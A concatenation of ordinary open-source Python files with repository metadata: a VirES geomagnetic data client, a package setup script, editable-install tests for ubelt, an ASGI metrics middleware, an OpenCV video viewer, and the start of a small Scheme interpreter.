json.loads(response.decode(\"UTF-8\"))\n start_time = parse_datetime(responsedict[\"start_time\"])\n end_time = parse_datetime(responsedict[\"end_time\"])\n return start_time, end_time\n\n def _fix_spacecraft(self, mission, spacecraft):\n # Change to spacecraft = \"A\" etc. for this request\n spacecraft = str(spacecraft) if spacecraft is not None else None\n if mission == \"Swarm\" and spacecraft in (\"Alpha\", \"Bravo\", \"Charlie\"):\n spacecraft = spacecraft[0]\n return spacecraft\n\n def _check_mission_spacecraft(self, mission, spacecraft):\n if mission not in self.MISSION_SPACECRAFTS:\n raise ValueError(\n f\"Invalid mission {mission}!\"\n f\"Allowed options are: {','.join(self.MISSION_SPACECRAFTS)}\"\n )\n\n if self.MISSION_SPACECRAFTS[mission]:\n # missions with required spacecraft id\n if not spacecraft:\n raise ValueError(\n f\"The {mission} spacecraft is required!\"\n f\"Allowed options are: {','.join(self.MISSION_SPACECRAFTS[mission])}\"\n )\n if spacecraft not in self.MISSION_SPACECRAFTS[mission]:\n raise ValueError(\n f\"Invalid {mission} spacecraft! \"\n f\"Allowed options are: {','.join(self.MISSION_SPACECRAFTS[mission])}\"\n )\n\n elif spacecraft: # mission without spacecraft id\n raise ValueError(\n f\"No {mission} spacecraft shall be specified! \"\n \"Set spacecraft to None.\"\n )\n\n def get_orbit_number(self, spacecraft, input_time, mission=\"Swarm\"):\n \"\"\"Translate a time to an orbit number.\n\n Args:\n spacecraft (str):\n Swarm: one of ('A','B','C') or (\"Alpha\", \"Bravo\", \"Charlie\")\n GRACE: one of ('1','2')\n GRACE-FO: one of ('1','2')\n CryoSat-2: None\n input_time (datetime): a point in time\n mission (str): one of ('Swarm', 'GRACE', 'GRACE-FO', 'CryoSat-2')\n\n Returns:\n int: The current orbit number at the input_time\n\n \"\"\"\n try:\n input_time = parse_datetime(input_time)\n except TypeError:\n raise TypeError(\n \"input_time must be datetime object or ISO-8601 \" \"date/time string\"\n )\n # Change to spacecraft = \"A\" etc. for this request\n if spacecraft in (\"Alpha\", \"Bravo\", \"Charlie\"):\n spacecraft = spacecraft[0]\n if mission not in self.MISSION_SPACECRAFTS:\n raise ValueError(\n f\"Invalid mission {mission}!\"\n f\"Allowed options are: {','.join(self.MISSION_SPACECRAFTS)}\"\n )\n spacecraft = str(spacecraft)\n if mission == \"Swarm\":\n collection = f\"SW_OPER_MOD{spacecraft}_SC_1B\"\n elif mission == \"GRACE\":\n if spacecraft in \"12\":\n spacecraft = \"AB\"[int(spacecraft) - 1]\n elif spacecraft not in \"AB\":\n raise ValueError(f\"Invalid spacecraft: {spacecraft}\")\n collection = f\"GRACE_{spacecraft}_MAG\"\n elif mission == \"GRACE-FO\":\n collection = f\"GF{spacecraft}_OPER_FGM_ACAL_CORR\"\n elif mission == \"CryoSat-2\":\n collection = \"CS_OPER_MAG\"\n request_inputs = SwarmWPSInputs(\n collection_ids={collection: [collection]},\n begin_time=input_time,\n end_time=input_time + datetime.timedelta(seconds=1),\n variables=[\"OrbitNumber\"],\n response_type=\"text/csv\",\n )\n request = request_inputs.as_xml(self._templatefiles[\"sync\"])\n retdata = ReturnedDataFile(filetype=\"csv\")\n response_handler = self._response_handler(retdata, show_progress=False)\n self._get(\n request,\n asynchronous=False,\n response_handler=response_handler,\n show_progress=False,\n )\n df = retdata.as_dataframe()\n if len(df) == 0:\n raise ValueError(\n \"Orbit number not identified. Probably outside of mission duration or orbit counter file.\"\n )\n elif len(df) > 1:\n raise RuntimeError(\"Unexpected server response. More than one OrbitNumber.\")\n else:\n return df[\"OrbitNumber\"][0]\n\n def get_model_info(self, models=None, custom_model=None, original_response=False):\n \"\"\"Get model info from server.\n\n Handles the same models input as .set_products(), and returns a dict\n like:\n\n {'IGRF12': {\n 'expression': 'IGRF12(max_degree=13,min_degree=0)',\n 'validity': {'start': '1900-01-01T00:00:00Z', 'end': '2020-01-01T00:00:00Z'\n }, ...}\n\n If original_response=True, return the list of dicts like:\n\n {'expression': 'MCO_SHA_2C(max_degree=16,min_degree=0)',\n 'name': 'MCO_SHA_2C',\n 'validity': {'start': '2013-11-30T14:38:24Z',\n 'end': '2018-01-01T00:00:00Z'}}, ...\n\n Args:\n models (list/dict): as with set_products\n custom_model (str): as with set_products\n original_response (bool)\n\n Returns:\n dict or list\n\n \"\"\"\n\n def _request_get_model_info(model_expression=None, custom_shc=None):\n \"\"\"Make the get_model_info request.\"\"\"\n templatefile = TEMPLATE_FILES[\"model_info\"]\n template = JINJA2_ENVIRONMENT.get_template(templatefile)\n request = template.render(\n model_expression=model_expression,\n custom_shc=custom_shc,\n response_type=\"application/json\",\n ).encode(\"UTF-8\")\n response = self._get(request, asynchronous=False, show_progress=False)\n response_list = json.loads(response.decode(\"UTF-8\"))\n return response_list\n\n def _build_dict(response_list):\n \"\"\"Build dictionary output organised by model name.\"\"\"\n return {model_dict.pop(\"name\"): model_dict for model_dict in response_list}\n\n if custom_model:\n with open(custom_model) as custom_shc_file:\n custom_shc = custom_shc_file.read()\n if not models:\n models = [\"Custom_Model\"]\n else:\n custom_shc = None\n\n if models is not None:\n _, model_expression = self._parse_models_input(models)\n else:\n model_expression = None\n\n response = _request_get_model_info(model_expression, custom_shc)\n\n if not original_response:\n response = _build_dict(response)\n\n return response\n\n @staticmethod\n def _check_deprecated_models(models):\n \"\"\"Print deprecation warning for deprecated models.\"\"\"\n deprecated_models = []\n for deprecated_model in DEPRECATED_MODELS:\n for model in models:\n if deprecated_model in model:\n deprecated_models.append(deprecated_model)\n break\n for deprecated_model in deprecated_models:\n print(\n \"WARNING: Model {} is deprecated. {}\".format(\n deprecated_model, DEPRECATED_MODELS[deprecated_model]\n ),\n file=sys.stdout,\n )\n\n def get_conjunctions(\n self,\n start_time=None,\n end_time=None,\n threshold=1.0,\n spacecraft1=\"A\",\n spacecraft2=\"B\",\n mission1=\"Swarm\",\n mission2=\"Swarm\",\n ):\n \"\"\"Get times of the spacecraft conjunctions.\n\n Currently available for the following spacecraft pairs:\n - Swarm-A/Swarm-B\n\n Args:\n start_time (datetime / ISO_8601 string): optional start time\n end_time (datetime / ISO_8601 string): optional end time\n threshold (float): optional maximum allowed angular separation\n in degrees; by default set to 1; allowed values are [0, 180]\n spacecraft1: identifier of the first spacecraft, default to 'A'\n spacecraft2: identifier of the second spacecraft, default to 'B'\n mission1 (str): mission of the first spacecraft, defaults to 'Swarm'\n mission2 (str): mission of the first spacecraft, defaults to 'Swarm'\n\n Returns:\n ReturnedData:\n \"\"\"\n try:\n start_time = parse_datetime(start_time) if start_time else None\n end_time = parse_datetime(end_time) if end_time else None\n except TypeError:\n raise TypeError(\n \"start_time and end_time must be datetime objects or ISO-8601 \"\n \"date/time strings\"\n ) from None\n\n if not (0 <= threshold <= 180):\n raise ValueError(\"Invalid threshold value!\")\n\n spacecraft1 = self._fix_spacecraft(mission1, spacecraft1)\n spacecraft2 = self._fix_spacecraft(mission2, spacecraft2)\n\n self._check_mission_spacecraft(mission1, spacecraft1)\n self._check_mission_spacecraft(mission2, spacecraft2)\n\n if (mission1, spacecraft1) == (mission2, spacecraft2):\n raise ValueError(\"The first and second spacecraft must not be the same!\")\n\n spacecraft_pair = tuple(\n sorted([(mission1, spacecraft1), (mission2, spacecraft2)])\n )\n\n if spacecraft_pair not in self.CONJUNCTION_MISSION_SPACECRAFT_PAIRS:\n raise ValueError(\n \"Conjunctions not available for the requested \"\n \"spacecraft pair {spacecraft_pair}!\"\n )\n\n templatefile = TEMPLATE_FILES[\"get_conjunctions\"]\n template = JINJA2_ENVIRONMENT.get_template(templatefile)\n request = template.render(\n begin_time=start_time,\n end_time=end_time,\n spacecraft1=spacecraft1,\n spacecraft2=spacecraft2,\n mission1=mission1,\n mission2=mission2,\n threshold=threshold,\n ).encode(\"UTF-8\")\n\n show_progress = False\n leave_progress_bar = False\n response = ReturnedDataFile(filetype=\"cdf\")\n\n response_handler = self._response_handler(\n retdatafile=response,\n show_progress=show_progress,\n leave_progress_bar=leave_progress_bar,\n )\n\n self._get(\n request=request,\n asynchronous=False,\n show_progress=show_progress,\n leave_progress_bar=leave_progress_bar,\n response_handler=response_handler,\n )\n\n return response\n","repo_name":"ESA-VirES/VirES-Python-Client","sub_path":"src/viresclient/_client_swarm.py","file_name":"_client_swarm.py","file_ext":"py","file_size_in_byte":79228,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"72"} +{"seq_id":"70393711272","text":"from os.path import dirname, join\nfrom setuptools import find_packages, setup\n\n\ndef read(filename):\n return open(\n join(\n dirname(__file__),\n filename,\n ),\n ).read()\n\n\nsetup(\n name='license',\n version='0.1.0',\n packages=find_packages(),\n install_requires=[\n 'click',\n 'click-completion',\n 'click-didyoumean',\n 'psutil',\n 'requests',\n 'requests-cache',\n ],\n py_modules=['license'],\n entry_points={\n 'console_scripts': [\n 'license=license.__main__:main',\n ],\n },\n\n # Package Metadata\n author='Jeremy Asuncion',\n author_email='jeremyasuncion808@gmail.com',\n description=('A command line app that fetches opensource licenses.'),\n long_description=read('README.md'),\n url='https://github.com/codemonkey800/python-license',\n license='MIT',\n)\n","repo_name":"codemonkey800/python-license","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"24880489785","text":"\"\"\"\nThis is a specialized set of tests for the util_import module on editable\ninstalls, specifically with the new setuptools editable hooks (v64.0.0).\nhttps://setuptools.pypa.io/en/latest/userguide/development_mode.html\nhttps://setuptools.pypa.io/en/latest/history.html#id37\n\nRunning the setup and teardown for this test is very expensive wrt how long\nthis test takes versus others in this library.\nWe should look into if there is a cheaper way to emulate it.\nWhat we could do is run the expensive test once, and serialize the outputs it\nproduces so we can simply reconstruct the environment.\n\"\"\"\nimport os\nimport sys\n\n\nclass ProjectStructure():\n \"\"\"\n Method to help setup and teardown a demo package installed in editable\n mode.\n\n Ignore:\n import ubelt as ub\n import sys, ubelt\n import xdev\n sys.path.append(ubelt.expandpath('~/code/ubelt/tests'))\n from test_editable_modules import * # NOQA\n dpath = ub.Path.appdir('ubelt/tests/demo_project').ensuredir()\n self = ProjectStructure(dpath, mod_name='demopkg_mwe', use_src=False)\n self.generate()\n self.analyze()\n self.install()\n\n \"\"\"\n def __init__(self, repo_dpath='.', mod_name='demopkg_mwe', use_src=True):\n import ubelt as ub\n self.root = ub.Path(repo_dpath)\n self.mod_name = mod_name\n self.use_src = use_src\n if use_src:\n self.python_relpath = ub.Path('src', 'python')\n else:\n self.python_relpath = ub.Path('.')\n self.cxx_relpath = ub.Path('src', 'cxx')\n self.cxx_path = (self.root / self.cxx_relpath)\n self.python_path = (self.root / self.python_relpath)\n self.mod_dpath = (self.python_path / self.mod_name)\n\n def setup(self):\n self.generate()\n self.install()\n\n def teardown(self):\n self.uninstall()\n self.delete()\n\n def install(self):\n import sys\n import ubelt as ub\n ub.cmd([sys.executable, '-m', 'pip', 'install', '-e', self.root],\n verbose=3, check=True)\n\n def delete(self):\n self.root.delete()\n\n def uninstall(self):\n import sys\n import ubelt as ub\n ub.cmd([sys.executable, '-m', 'pip', 'uninstall', self.mod_name, '-y'],\n verbose=3, check=True)\n\n def generate(self, with_cxx=0):\n import ubelt as ub\n self.mod_dpath.delete().ensuredir()\n self.cxx_path.delete()\n (self.root / 'CMakeLists.txt').delete()\n (self.mod_dpath / '__init__.py').write_text('__version__ = \"1.0.0\"')\n\n if self.use_src:\n package_dir_line = ub.codeblock(\n f'''\n package_dir={{'': '{self.python_relpath}'}},\n ''')\n else:\n package_dir_line = ''\n\n # Give the MWE a CXX extension\n WITH_CXX = with_cxx\n if WITH_CXX:\n (self.root / 'pyproject.toml').write_text(ub.codeblock(\n '''\n [build-system]\n requires = [\"setuptools>=41.0.1\", \"scikit-build>=0.11.1\", \"numpy\", \"ninja>=1.10.2\", \"cmake>=3.21.2\", \"cython>=0.29.24\",]\n '''))\n (self.root / 'setup.py').write_text(ub.codeblock(\n f'''\n if __name__ == '__main__':\n from skbuild import setup\n from setuptools import find_packages\n packages = find_packages('./{self.python_relpath}')\n setup(\n {package_dir_line}\n install_requires=['packaging'],\n name='{self.mod_name}',\n version=\"1.0.0\",\n description='MWE of a binpy project',\n packages=packages,\n include_package_data=True,\n )\n '''))\n self.cxx_path.ensuredir()\n (self.root / 'CMakeLists.txt').write_text(ub.codeblock(\n rf'''\n cmake_minimum_required(VERSION 3.13.0)\n project({self.mod_name} LANGUAGES C Fortran)\n\n find_package(PythonInterp REQUIRED)\n find_package(PythonLibs REQUIRED)\n\n ###\n # Private helper function to execute `python -c \"\"`\n #\n # Runs a python command and populates an outvar with the result of stdout.\n # Be careful of indentation if `cmd` is multiline.\n #\n function(pycmd outvar cmd)\n execute_process(\n COMMAND \"${{PYTHON_EXECUTABLE}}\" -c \"${{{{cmd}}}}\"\n RESULT_VARIABLE _exitcode\n OUTPUT_VARIABLE _output)\n if(NOT ${{_exitcode}} EQUAL 0)\n message(ERROR \"Failed when running python code: \\\"\\\"\\\"\n ${{cmd}}\\\"\\\"\\\"\")\n message(FATAL_ERROR \"Python command failed with error code: ${{_exitcode}}\")\n endif()\n # Remove supurflous newlines (artifacts of print)\n string(STRIP \"${{_output}}\" _output)\n set(${{outvar}} \"${{_output}}\" PARENT_SCOPE)\n endfunction()\n\n ###\n # Find scikit-build and include its cmake resource scripts\n #\n if (NOT SKBUILD)\n pycmd(skbuild_location \"import os, skbuild; print(os.path.dirname(skbuild.__file__))\")\n set(skbuild_cmake_dir \"${{skbuild_location}}/resources/cmake\")\n # If skbuild is not the driver, then we need to include its utilities in our CMAKE_MODULE_PATH\n list(APPEND CMAKE_MODULE_PATH ${{skbuild_cmake_dir}})\n endif()\n\n find_package(PythonExtensions REQUIRED)\n find_package(Cython REQUIRED)\n find_package(NumPy REQUIRED)\n\n # Backend C library\n add_subdirectory(\"src/cxx\")\n\n # Cython library\n add_subdirectory(\"src/python/{self.mod_name}\")\n '''))\n\n (self.cxx_path / 'myalgo.h').write_text(ub.codeblock(\n '''\n #ifndef MYALGO_H\n #define MYALGO_H\n int myalgo(long *arr1, long *arr2, size_t num);\n #endif MYALGO_H\n '''))\n (self.cxx_path / 'myalgo.c').write_text(ub.codeblock(\n r'''\n #include \n long myalgo(long *arr1, long *arr2, size_t num)\n {\n for (int i = 0 ; i < num ; i++ )\n {\n arr2[i] = arr1[i] + arr2[i];\n }\n return 1;\n }\n '''))\n cmake_list_cxx = self.cxx_path / 'CMakeLists.txt'\n cmake_list_cxx.write_text(ub.codeblock(\n '''\n set(MYALGO_MODULE_NAME \"myalgo\")\n list(APPEND MYALGO_SOURCES \"myalgo.h\" \"myalgo.c\")\n add_library(${MYALGO_MODULE_NAME} STATIC ${MYALGO_SOURCES})\n '''))\n\n (self.mod_dpath / 'myalgo_cython.pyx').write_text(ub.codeblock(\n '''\n import numpy as np\n cimport numpy as np\n cdef extern from \"../../cxx/myalgo.h\":\n cdef int myalgo(long *arr1, long *arr2, size_t num);\n\n def call_myalgo():\n \"\"\"\n This is a docstring\n \"\"\"\n cdef int result;\n cdef np.ndarray[np.int64_t, ndim=1] arr1\n cdef np.ndarray[np.int64_t, ndim=1] arr2\n arr1 = np.array([1, 2, 3], dtype=np.int64)\n arr2 = np.array([4, 6, 9], dtype=np.int64)\n cdef long [:] arr1_view = arr1\n cdef long [:] arr2_view = arr2\n cdef size_t num = len(arr1)\n print(f'arr1={arr1}')\n print(f'arr2={arr2}')\n print('calling my algo')\n result = myalgo(&arr1_view[0], &arr2_view[0], num)\n print(f'arr1={arr1}')\n print(f'arr2={arr2}')\n return result\n '''))\n\n (self.mod_dpath / 'CMakeLists.txt').write_text(ub.codeblock(\n '''\n set(cython_source \"myalgo_cython.pyx\")\n set(PYMYALGO_MODULE_NAME \"myalgo_cython\")\n\n # Translate Cython into C/C++\n add_cython_target(${PYMYALGO_MODULE_NAME} \"${cython_source}\" C OUTPUT_VAR sources)\n\n # Add other C sources\n list(APPEND sources )\n\n # Create C++ library. Specify include dirs and link libs as normal\n add_library(${PYMYALGO_MODULE_NAME} MODULE ${sources})\n target_include_directories(\n ${PYMYALGO_MODULE_NAME}\n PUBLIC\n ${NumPy_INCLUDE_DIRS}\n ${PYTHON_INCLUDE_DIR}\n ${CMAKE_CURRENT_SOURCE_DIR}\n )\n\n # TODO: not sure why this isn't set in the global scope?\n # Hack around it: just hard code the module name\n set(MYALGO_MODULE_NAME \"myalgo\")\n\n # TODO: linking to the MYALGO shared object isn't working 100% yet.\n target_link_libraries(${PYMYALGO_MODULE_NAME} ${MYALGO_MODULE_NAME})\n\n target_compile_definitions(${PYMYALGO_MODULE_NAME} PUBLIC\n \"NPY_NO_DEPRECATED_API\"\n #\"NPY_1_7_API_VERSION=0x00000007\"\n )\n\n # Transform the C++ library into an importable python module\n python_extension_module(${PYMYALGO_MODULE_NAME})\n\n # Install the C++ module to the correct relative location\n # (this will be an inplace build if you use `pip install -e`)\n #file(RELATIVE_PATH pymyalgo_install_dest \"${CMAKE_SOURCE_DIR}\" \"${CMAKE_CURRENT_SOURCE_DIR}\")\n\n # My \"normal\" method of setting install targets does not seem to work here. Hacking it.\n # NOTE: skbuild *seems* to place libraries in a data dir *unless* the install destination\n # corresponds exactly to the / specified implicitly in setup.py\n set(pymyalgo_install_dest \"src/python/{self.mod_name}\")\n #install(TARGETS ${MYALGO_MODULE_NAME} LIBRARY DESTINATION \"${pymyalgo_install_dest}\")\n install(TARGETS ${PYMYALGO_MODULE_NAME} LIBRARY DESTINATION \"${pymyalgo_install_dest}\")\n '''\n ))\n else:\n # Pure Python\n # TODO: Might want to test with different build backends.\n (self.root / 'pyproject.toml').write_text(ub.codeblock(\n '''\n [build-system]\n requires = [\"setuptools>=41.0.1\", \"wheel\"]\n build-backend = \"setuptools.build_meta\"\n '''))\n (self.root / 'setup.py').write_text(ub.codeblock(\n f'''\n if __name__ == '__main__':\n from setuptools import setup\n from setuptools import find_packages\n packages = find_packages('./{self.python_relpath}')\n setup(\n {package_dir_line}\n package_data={{\n '{self.mod_name}': ['py.typed', '*.pyi'],\n }},\n install_requires=['packaging'],\n name='{self.mod_name}',\n version=\"1.0.0\",\n description='MWE of a purepy project',\n packages=packages,\n include_package_data=True,\n )\n '''))\n (self.mod_dpath / 'py.typed').write_text('')\n (self.mod_dpath / 'submod.py').write_text('A = 1')\n (self.mod_dpath / 'submod.pyi').write_text('A: int')\n\n def analyze(self):\n \"\"\"\n For debugging and develoment only, don't run in the tests\n\n Requires:\n rich, xdev\n \"\"\"\n from rich.console import Console\n from rich.panel import Panel\n from rich.syntax import Syntax\n from rich.table import Table\n import distutils.sysconfig\n import ubelt as ub\n import xdev\n\n console = Console()\n\n def rich_file_content(fpath, lexer='bash'):\n import os\n text = fpath.read_text()\n return Panel(Syntax(text, lexer), title=os.fspath(fpath))\n\n def print_egg_path_content(egg_info_dpath, color='blue'):\n blocklist = {'requires.txt'}\n fpaths = egg_info_dpath.ls()\n table = Table(f'[{color}]' + str(egg_info_dpath))\n for fpath in fpaths:\n if fpath.name not in blocklist:\n panel = rich_file_content(fpath)\n table.add_row(panel)\n console.print(table)\n\n print('\\n')\n print('Repo Structure:')\n directory_blocklist = ['.*', '.git', 'dist', '_skbuild', 'dev']\n xdev.tree_repr(self.root, max_files=None, dirblocklist=directory_blocklist)\n\n seems_installed = 0\n\n print('\\n')\n print('Content of the EGG Link:')\n site_dpath = ub.Path(distutils.sysconfig.get_python_lib())\n egg_link_fpaths = list(site_dpath.glob(self.mod_name.replace('_', '*') + '*.egg-link'))\n if len(egg_link_fpaths) == 0:\n console.print('[red] No egg link')\n seems_installed = 0\n else:\n assert len(egg_link_fpaths) == 1\n egg_link_fpath = egg_link_fpaths[0]\n console.print(rich_file_content(egg_link_fpath))\n seems_installed = 1\n\n # Note: (recently 2022-08-ish) python switched to a new type of\n # This is not present in setuptools==63.2.0 but is in 65.3.0\n # editable install. TODO: incomporate this.\n editable_fpaths = list(site_dpath.glob('__editable__*' + self.mod_name.replace('_', '*') + '*'))\n print(f'editable_fpaths={editable_fpaths}')\n\n print('\\n')\n print('Check easy-install.pth')\n easy_install_fpath = site_dpath / 'easy-install.pth'\n assert easy_install_fpath.exists()\n easy_install_text = easy_install_fpath.read_text()\n abs_path = self.mod_dpath.absolute().parent\n print(f'abs_path={abs_path}')\n if str(abs_path) in easy_install_text:\n console.print('[green] Easy install dpath is good')\n else:\n console.print('[red] Easy install does not contain this package')\n # console.print(rich_file_content(easy_install_fpath))\n\n expected_egg_info_dpath = self.python_path / f'{self.mod_name}.egg-info'\n all_egg_infos = [ub.Path(e).resolve() for e in xdev.find('*.egg-info', dpath=self.root, dirblocklist=directory_blocklist)]\n other_egg_infos = set(all_egg_infos) - {expected_egg_info_dpath.resolve()}\n print('expected_egg_info_dpath = {}'.format(ub.repr2(expected_egg_info_dpath, nl=1)))\n if expected_egg_info_dpath.exists():\n console.print('[green] Egg info exists in expected location')\n egg_info_dpath = expected_egg_info_dpath\n print_egg_path_content(egg_info_dpath, color='green')\n else:\n console.print('[red] Egg info does not exist in expected location')\n print(f'other_egg_infos={other_egg_infos}')\n\n if other_egg_infos:\n console.print('[red] THERE ARE UNEXEPCTED EGG INFOS')\n for egg_info_dpath in other_egg_infos:\n print_egg_path_content(egg_info_dpath, color='red')\n\n if seems_installed:\n print('\\n')\n print('Test to ensure we can import the module')\n command = f'python -c \"import {self.mod_name}; print({self.mod_name})\"'\n info = ub.cmd(command, verbose=3)\n if info['ret'] != 0:\n raise Exception('failed to import')\n assert str(self.mod_dpath) in info['out']\n else:\n console.print('[yellow] Package does not seem installed, so skipping import test')\n\n def serialize_install(self):\n # TODO: serialize this step to make it fast\n import distutils.sysconfig\n import ubelt as ub\n site_dpath = ub.Path(distutils.sysconfig.get_python_lib())\n egg_link_fpaths = list(site_dpath.glob(self.mod_name.replace('_', '*') + '*.egg-link'))\n editable_fpaths = list(site_dpath.glob('__editable__*' + self.mod_name.replace('_', '*') + '*'))\n easy_install_fpath = site_dpath / 'easy-install.pth'\n print(f'egg_link_fpaths={egg_link_fpaths}')\n print(f'editable_fpaths={editable_fpaths}')\n\n\nGLOBAL_PROJECTS = []\n\n\ndef _check_skip_editable_module_tests():\n UBELT_DO_EDITABLE_TESTS = os.environ.get('UBELT_DO_EDITABLE_TESTS', '')\n if not UBELT_DO_EDITABLE_TESTS:\n import pytest\n pytest.skip('UBELT_DO_EDITABLE_TESTS is not enabled')\n\n if sys.platform.startswith('win32'):\n import pytest\n pytest.skip('skip editable module tests on Win32')\n\n if sys.platform.startswith('freebsd'):\n import pytest\n pytest.skip('skip editable module tests on FreeBSD')\n\n\ndef setup_module(module):\n \"\"\" setup any state specific to the execution of the given module.\"\"\"\n import uuid\n import ubelt as ub\n\n _check_skip_editable_module_tests()\n\n suffix = ub.hash_data(uuid.uuid4(), base='abc')[0:8]\n dpath = ub.Path.appdir('ubelt/tests/demo_packages').ensuredir()\n\n # Define pure python module with ./src/python structure\n mod_name = 'purepy_src_demo_pkg_' + suffix\n PUREPY_SRC_PROJECT = ProjectStructure(repo_dpath=dpath / mod_name,\n mod_name=mod_name, use_src=True)\n PUREPY_SRC_PROJECT.setup()\n GLOBAL_PROJECTS.append(PUREPY_SRC_PROJECT)\n\n if 0:\n self = PUREPY_SRC_PROJECT\n self.serialize()\n\n # Define pure python module with the package at root level\n mod_name = 'purepy_root_demo_pkg_' + suffix\n PUREPY_SRC_PROJECT = ProjectStructure(repo_dpath=dpath / mod_name,\n mod_name=mod_name, use_src=False)\n PUREPY_SRC_PROJECT.setup()\n GLOBAL_PROJECTS.append(PUREPY_SRC_PROJECT)\n\n if 0:\n for proj in GLOBAL_PROJECTS:\n proj.analyze()\n\n\ndef teardown_module(module):\n \"\"\" teardown any state that was previously setup with a setup_module\n method.\n \"\"\"\n _check_skip_editable_module_tests()\n for PROJ in GLOBAL_PROJECTS:\n PROJ.teardown()\n\n\ndef test_import_of_editable_install():\n _check_skip_editable_module_tests()\n import ubelt as ub\n for PROJ in GLOBAL_PROJECTS:\n result = ub.modname_to_modpath(PROJ.mod_name)\n print(f'result={result}')\n assert result is not None\n assert PROJ.mod_dpath == ub.Path(result)\n","repo_name":"Erotemic/ubelt","sub_path":"tests/test_editable_modules.py","file_name":"test_editable_modules.py","file_ext":"py","file_size_in_byte":19192,"program_lang":"python","lang":"en","doc_type":"code","stars":694,"dataset":"github-code","pt":"72"} +{"seq_id":"33920926116","text":"\"\"\"Middleware to instrument ASGI application and ASGI view for metrics.\n\nThis module provides two classes:\n\n1) A middleware to be used with ASGI webservers that records metrics.\n\n Usage:\n # app is some ASGI application.\n app = ASGIMetricsMiddleware(app, config_path=/some/path/to/config/file)\n\n2) An application that provides a view of the recorded metrics.\n\n Usage:\n # In some file main.py\n app = ASGIApplication.make()\n uvicorn main:app\n\"\"\"\nfrom collections import deque\n\nfrom prometheus_client import make_asgi_app\nfrom starlette.middleware.base import BaseHTTPMiddleware, RequestResponseEndpoint\nfrom starlette.requests import Request\nfrom starlette.responses import Response\n\nfrom .mrconfig import load_config\nfrom .mrotel import initialize_all_instruments\nfrom .mrmetric import MetricContext\nfrom .mrrecorder import log_request_metrics, log_response_metrics\n\n\nclass ASGIApplication:\n \"\"\"An ASGI application to view collected metrics.\n \"\"\"\n @staticmethod\n def make():\n \"\"\"Makes a new ASGI application.\n \"\"\"\n return make_asgi_app()\n\n\nclass ASGIMetricsMiddleware(BaseHTTPMiddleware):\n \"\"\"ASGI middleware to log metrics for requests and responses.\n \"\"\"\n\n class LoggingResponse(Response):\n \"\"\"A response subclass that logs before forwarding the response.\n\n If the response is streamed, it will be cached until the payload\n is complete and logging is done.\n \"\"\"\n\n def __init__(self, original_response, log_fn): # pylint: disable=super-init-not-called\n # Super not called since StreamingResponse does not call Response.init,\n # and so behavior is inconsistent.\n self.original_response = original_response\n self.log_fn = log_fn\n self.chunks = b''\n\n async def __call__(self, scope, receive, send) -> None:\n async def logging_send(message) -> None:\n if 'body' in message:\n self.chunks += message['body']\n if not 'more_body' in message or not message['more_body']:\n self.log_fn(self.chunks)\n await send(message)\n\n await self.original_response(scope, receive, logging_send)\n\n def __init__(self, app, config_path=None):\n \"\"\"Initializes middleware for the given app.\n\n Args:\n app: The ASGI application to be called.\n config_path: The path to read agent config from.\n \"\"\"\n super().__init__(app)\n self._config = load_config(config_path)\n self._instruments = initialize_all_instruments(self._config)\n self._context_labels = deque()\n\n async def dispatch(self, request: Request, call_next: RequestResponseEndpoint) -> Response:\n \"\"\"Middleware implementation that logs requests and responses.\n \"\"\"\n request_body = await request.body()\n self._context_labels.clear()\n log_request_metrics(\n self._config,\n self._instruments[MetricContext.INPUT],\n request_body,\n self._context_labels)\n response = await call_next(request)\n if response.status_code == 200:\n logging_response = ASGIMetricsMiddleware.LoggingResponse(\n response, lambda r: log_response_metrics(\n self._config,\n self._instruments[MetricContext.OUTPUT],\n r,\n self._context_labels))\n return logging_response\n return response\n","repo_name":"MetricRule/metricrule-agent-python","sub_path":"src/metricrule/agent/asgi.py","file_name":"asgi.py","file_ext":"py","file_size_in_byte":3523,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"14343057789","text":"import numpy as np\nimport cv2\n\nclass VideoOps(object):\n\n def cam_view(self):\n \"\"\"\n \n :return: \n \"\"\"\n cap = cv2.VideoCapture(0)\n\n while(True):\n # Capture frame-by-frame\n ret, frame = cap.read()\n\n # Our operations on the frame come here\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n # Display the resulting frame\n cv2.imshow('From Webcam : press q to quit',gray)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n # When everything done, release the capture\n cap.release()\n cv2.destroyAllWindows()\n\n def read_video_file(self):\n \"\"\"\n cap = cv2.VideoCapture('data/video/NFS.mp4')\n\n while (cap.isOpened()):\n ret, frame = cap.read()\n\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n cv2.imshow('Video : press q to quit', gray)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n cap.release()\n cv2.destroyAllWindows()\n # cv2.error: C:\\projects\\opencv-python\\opencv\\modules\\imgproc\\src\\color.cpp:11111: error: (-215) scn == 3 || scn == 4 in function cv::cvtColor\n \"\"\"\n cap = cv2.VideoCapture('data/video/NFS.mp4')\n\n while(cap.isOpened()): # check !\n # capture frame-by-frame\n ret, frame = cap.read()\n\n if ret: # check ! (some webcam's need a \"warmup\")\n # our operation on frame come here\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n # Display the resulting frame\n cv2.imshow('Video : press q to exit', gray)\n\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n # When everything is done release the capture\n cap.release()\n cv2.destroyAllWindows()\n\nif __name__ == '__main__':\n vo = VideoOps()\n vo.cam_view()\n vo.read_video_file()\n","repo_name":"sasiarivukalanjiam/python-imageprocessing","sub_path":"video_ops.py","file_name":"video_ops.py","file_ext":"py","file_size_in_byte":1951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"10192285564","text":"\n\n\n\nSymbol = str # A Scheme Symbol is implemented as a Python str\nNumber = (int, float) # A Scheme Number is implemented as a Python int or float\nAtom = (Symbol, Number) # A Scheme Atom is a Symbol or Number\nList = list # A Scheme List is implemented as a Python list\nExp = (Atom, List) # A Scheme expression is an Atom or List\nEnv = dict # A Scheme environment (defined below) \n # is a mapping of {variable: value}\n\n\n\ndef tokenize(chars: str) -> list:\n return chars.replace('(', ' ( ').replace(')', ' ) ').split()\n\n\n\nprogram = \"(begin (define r 10) (* pi (* r 